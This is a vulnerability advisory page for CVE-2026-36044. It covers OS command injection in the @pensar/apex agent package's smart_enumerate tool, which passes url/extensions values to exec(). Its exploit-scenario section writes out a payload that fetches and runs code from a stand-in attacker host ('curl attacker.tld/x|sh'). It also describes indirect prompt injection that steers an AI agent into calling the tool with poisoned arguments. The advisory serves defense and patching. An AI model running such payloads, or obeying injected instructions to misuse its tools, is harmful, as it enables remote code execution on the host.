@pensar/apex CVE-2026-36044
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft url/extensions with shell metacharacters
-
DeliveryDeliver via agent input or prompt injection
-
Exploitsmart_enumerate concatenates into command
-
Executionexec() spawns shell and interprets payload
-
ImpactArbitrary OS commands run as agent process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The smart_enumerate tool must be invoked, and at least one of its url parameter or extensions array values must carry attacker-controlled content containing shell metacharacters (e.g., ;, |, &&, $(), backticks), which createSmartEnumerateTool() concatenates into a string handed to child_process.exec(). Per CVSS PR:N the attacker needs no authentication, but UI:R means exploitation is not fully autonomous: an operator (or the agent itself, via injected/untrusted data) must trigger smart_enumerate with the malicious input - so it is not exploitable unless that tool is actually exercised against attacker-influenced url/extensions values. Limiting factors that reduce realistic risk: the required interaction, the dependency on untrusted input reaching those specific parameters, and the impact being bounded by the privileges of the running agent process; deployments that only ever feed the tool trusted, validated input are not exposed. |
| Impact | Multiple signals point to genuine priority but with one important brake. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, base 8.8) indicates a network-reachable, low-complexity bug needing no privileges and yielding full confidentiality, integrity, and availability loss - consistent with arbitrary command execution. The limiting factor is UI:R: exploitation requires interaction, meaning the smart_enumerate tool must actually be invoked with attacker-influenced url/extensions values (e.g., an operator running the agent against attacker-controlled input, or indirect/prompt-injected data steering the agent). No EPSS score is present in the input, so widespread automated-exploitation probability cannot be quantified; no SSVC decision data (exploitation/automatable/technical impact) was supplied either. The CVE is not listed in CISA KEV in the provided data, so there is no confirmation of active exploitation. A security-researcher gist is referenced and likely contains technical/PoC detail, but the structured input does not flag confirmed public exploit code. Net: a real high-severity RCE worth prompt patching, tempered by the requirement that the vulnerable tool be exercised with untrusted input. |
| Exploit ScenarioDerived | An attacker supplies a crafted url value such as "http://x/$(curl attacker.tld/x|sh)" or an extensions entry containing ";id;" that reaches the smart_enumerate tool - for example by hosting content an operator points the agent at, or via indirect prompt injection that steers the agent into calling the tool with poisoned arguments. When createSmartEnumerateTool() builds the command and exec() spawns a shell, the metacharacters are interpreted and the injected command runs with the agent process's privileges. The referenced researcher gist likely demonstrates this, though confirmed weaponized exploit code is not established in the structured data. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 27, 2026
OS command injection in the @pensar/apex Node.js agent package (versions 0.0.58 and earlier) lets a remote, unauthenticated attacker run arbitrary operating-system commands by smuggling shell metacharacters into the smart_enumerate tool's url or extensions inputs. The vulnerable createSmartEnumerateTool() routine in src/core/agent/tools.ts builds a shell command string by concatenating those untrusted values and passes it to Node.js child_process.exec(), which spawns a shell that interprets the injected characters, executing them with the privileges of the agent process. CVSS is 8.8 (network vector, low complexity, no privileges, but user/agent interaction required); the source data shows no CISA KEV listing and no EPSS score, and a referenced researcher gist may contain proof-of-concept detail though exploit code is not confirmed in the structured input.
RemediationAI
No vendor-released patch version was identified in the available data, so the primary action is to check https://www.npmjs.com/package/@pensar/apex for a release later than 0.0.58 and upgrade to it once published, since 0.0.58 and all earlier versions are vulnerable; do not assume a specific fixed version, as none is confirmed in the input. Until a fixed release is confirmed, do not pass untrusted or externally sourced values into the smart_enumerate tool's url or extensions parameters, and avoid running the agent against attacker-controllable input. The durable code-level fix (for maintainers) is to replace child_process.exec() with child_process.execFile() or spawn() using an argument array so values are never parsed by a shell; as a compensating control for operators, run the agent under a least-privilege account inside a sandbox or container with restricted filesystem and outbound network egress, accepting the trade-off that egress restrictions may break legitimate enumeration functionality that relies on outbound requests. Technical context for these steps is documented in the referenced gist at https://gist.github.com/NucleiAv/47e87da08b90ef464fd9b35affe578fb.
Affected ProductsAI
The affected product is the @pensar/apex npm package at versions 0.0.58 and earlier (<= 0.0.58), with the defect located in createSmartEnumerateTool() within src/core/agent/tools.ts. No CPE string was provided in the intelligence to pin an exact platform identifier. The package and its release history can be reviewed on npm at https://www.npmjs.com/package/@pensar/apex, and additional technical detail is referenced in a researcher gist at https://gist.github.com/NucleiAv/47e87da08b90ef464fd9b35affe578fb; no dedicated vendor security advisory URL was included in the source data.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The flaw is a classic OS command injection (CWE-78, inferred since the CVE lists CWE as N/A) rooted in unsafe use of Node.js's child_process.exec(). Unlike execFile() or spawn() with an argument array, exec() runs its input through /bin/sh (or cmd.exe on Windows), so any shell metacharacter - ;, |, &&, $(), backticks - in the command string is interpreted rather than treated as literal data. Here, the smart_enumerate tool concatenates caller-supplied values from the extensions array and the url parameter directly into that command string with no escaping, quoting, or allow-list validation, making the shell parse attacker content as commands. @pensar/apex appears to be an AI/agent-style enumeration tool distributed via npm; no CPE strings were provided in the intelligence, so exact platform identifiers cannot be derived beyond the npm package coordinate @pensar/apex.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
@pensar/apex <= 0.0.58 is vulnerable to OS command injection via the smart_enumerate tool. The createSmartEnumerateTool() function in src/core/agent/tools.ts constructs a shell command by concatenating unsanitized values from the extensions array and url parameter into a string passed to Node.js child_process.exec(). Because exec() spawns a shell, shell metacharacters in those values are interpreted by the host shell, resulting in arbitrary OS command execution with the privileges of the running process.
Executive ViewAI
The @pensar/apex Node.js agent package (versions 0.0.58 and earlier) contains an unauthenticated OS command injection vulnerability in the smart_enumerate tool that allows remote attackers to execute arbitrary commands with agent process privileges. No public exploit has been identified at time of analysis, but the vulnerability enables complete system compromise. Organizations running this package must immediately assess exposure and implement remediation, as no vendor-released patch is currently available.
No vendor-released patch identified at time of analysis. Interim mitigations: implement network segmentation to restrict access to the agent endpoints from untrusted sources, disable or remove the smart_enumerate tool if not operationally required, enforce strict input validation on URL and extension parameters before processing, deploy Web Application Firewall or network-level rules to block shell metacharacter payloads, and establish monitoring and alerting on agent process execution for suspicious command patterns.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB